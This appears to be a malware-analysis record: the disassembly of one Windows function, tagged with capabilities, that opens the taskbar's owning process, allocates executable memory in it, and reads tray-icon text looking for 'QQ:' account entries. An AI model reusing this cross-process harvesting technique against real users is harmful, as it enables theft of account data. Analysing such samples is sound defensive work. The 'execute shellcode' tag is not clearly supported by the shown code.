Function at 0x10004e40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Find taskbar

Disassembly:
sub esp, 0x160
push ebx
push ebp
push esi
push edi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
test eax, eax
jne 0x10004e6b
push str.No_find_Shell_TrayWnd_window
jmp 0x100053e5
mov eax, dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.TrayNotifyWnd
push 0
push eax
call edi
mov esi, eax
test esi, esi
jne 0x10004e90
push str.No_find_TrayNotifyWnd_window
jmp 0x100053e5
push 0
push str.SysPager
push 0
push esi
call edi
test eax, eax
jne 0x10004eaf
push str.No_find_Syspager_window
call fcn.10001530
add esp, 4
mov eax, esi
push 0
push str.ToolbarWindow32
push 0
push eax
call edi
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x10], ebp
je 0x100053e0
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0
push 0x418
push ebp
stosb byte es:[edi], al
mov dword [esp + 0x28], 0
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0x30]
mov edi, eax
push ecx
push ebp
mov dword [esp + 0x34], edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x30]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push 0x1000
mov esi, eax
push 0x40
push 0
push esi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
xor eax, eax
cmp ebx, eax
jne 0x10004f5b
push 0x1000782c
call fcn.10001530
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x160
ret
cmp edi, eax
mov dword [esp + 0x1c], eax
jle 0x10005372
jmp 0x10004f6b
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 0x74]
push ebx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
push eax
push 0x417
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x160]
push 0x14
push edx
push ebx
push esi
call edi
mov edx, dword [esp + 0x168]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
push 4
push ecx
push edx
push esi
call edi
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x160]
push ebx
push edx
push 0x42d
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
push 0x3f
push ecx
push ebx
push esi
call edi
lea edi, [esp + 0x34]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x10005019
cmp byte [esp + eax + 0x34], 0xd
je 0x100050e1
inc eax
cmp eax, ecx
jl 0x10005009
mov edi, dword [sym.imp.MSVCRT.dll_strncmp]
push 3
lea ecx, [esp + 0x38]
push 0x10007828
push ecx
call edi
add esp, 0xc
test eax, eax
jne 0x100051b7
lea edi, [esp + 0x37]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xfc]
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x74], 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x28
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.MSVCRT.dll_strrchr]
lea ecx, [esp + 0x100]
push ecx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000509a
lea edx, [esp + 0xfc]
push 0x3c
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x100051a8
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, esi
lea ecx, [esp + 0xfc]
lea edx, [esp + 0xfc]
sub eax, ecx
push eax
lea eax, [esp + 0x80]
push edx
push eax
call ebp
inc esi
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
push ecx
lea ecx, [esp + 0xcc]
push esi
push ecx
call ebp
add esp, 0x18
jmp 0x10005272
push 4
lea edx, [esp + 0x38]
push str.QQ:
push edx
mov byte [esp + eax + 0x40], 0
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x1000535b
lea edi, [esp + 0x38]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xfc]
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x74], 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x28
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.MSVCRT.dll_strrchr]
lea ecx, [esp + 0x100]
push ecx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x10005161
lea edx, [esp + 0xfc]
push 0x3c
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x100051a8
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, esi
lea ecx, [esp + 0xfc]
lea edx, [esp + 0xfc]
sub eax, ecx
push eax
lea eax, [esp + 0x80]
push edx
push eax
call ebp
inc esi
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffd
push ecx
lea ecx, [esp + 0xcc]
push esi
push ecx
call ebp
add esp, 0x18
jmp 0x10005272
push str.Account_Info_error
call fcn.10001530
add esp, 4
jmp 0x1000521f
push 3
lea ecx, [esp + 0x38]
push 0x10007808
push ecx
call edi
add esp, 0xc
test eax, eax
jne 0x100051d6
mov dword [esp + 0x74], 1
jmp 0x100051f7
push 3
lea ecx, [esp + 0x38]
push 0x10007804
push ecx
call edi
add esp, 0xc
test eax, eax
jne 0x1000535b
mov dword [esp + 0x74], 2
lea edi, [esp + 0x37]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xfc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xbc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x7c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xfc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x13d]
mov byte [esp + 0x13c], 0
rep stosd dword es:[edi], eax
mov ebp, dword [0x10024014]
mov ecx, dword [esp + 0x24]
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0x78], ecx
test ebp, ebp
jle 0x100052f4
mov eax, 0x10024060
mov dword [esp + 0x20], eax
lea esi, [esp + 0xbc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100052d5
test cl, cl
je 0x100052d1
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100052d5
add eax, 2
add esi, 2
test cl, cl
jne 0x100052b1
xor eax, eax
jmp 0x100052da
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10005397
mov eax, dword [esp + 0x20]
inc edi
add eax, 0xc8
cmp edi, ebp
mov dword [esp + 0x20], eax
jl 0x100052aa
lea eax, [ebp + ebp*4]
mov ecx, 0x32
lea esi, [esp + 0x74]
lea eax, [eax + eax*4]
shl eax, 3
lea edi, [eax + 0x10024018]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [eax + 0x1002401c]
lea ecx, [esp + 0x13c]
push eax
push 0x100077ec
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x148]
push edx
call fcn.10001530
mov eax, dword [0x10024014]
add esp, 0x10
inc eax
cmp eax, 8
mov dword [0x10024014], eax
jle 0x10005353
mov dword [0x10024014], 8
mov ebp, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
inc eax
cmp eax, ecx
mov dword [esp + 0x1c], eax
jl 0x10004f69
xor eax, eax
push 0x8000
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x160
ret
lea eax, [edi + edi*4]
mov ecx, 0x32
lea esi, [esp + 0x74]
lea eax, [eax + eax*4]
shl eax, 3
lea edi, [eax + 0x10024018]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [eax + 0x1002401c]
lea ecx, [esp + 0x13c]
push eax
push 0x100077d4
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x148]
push edx
call fcn.10001530
add esp, 0x10
jmp 0x10005353
push str.No_find_ToolbarWindow32_window
call fcn.10001530
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x160
ret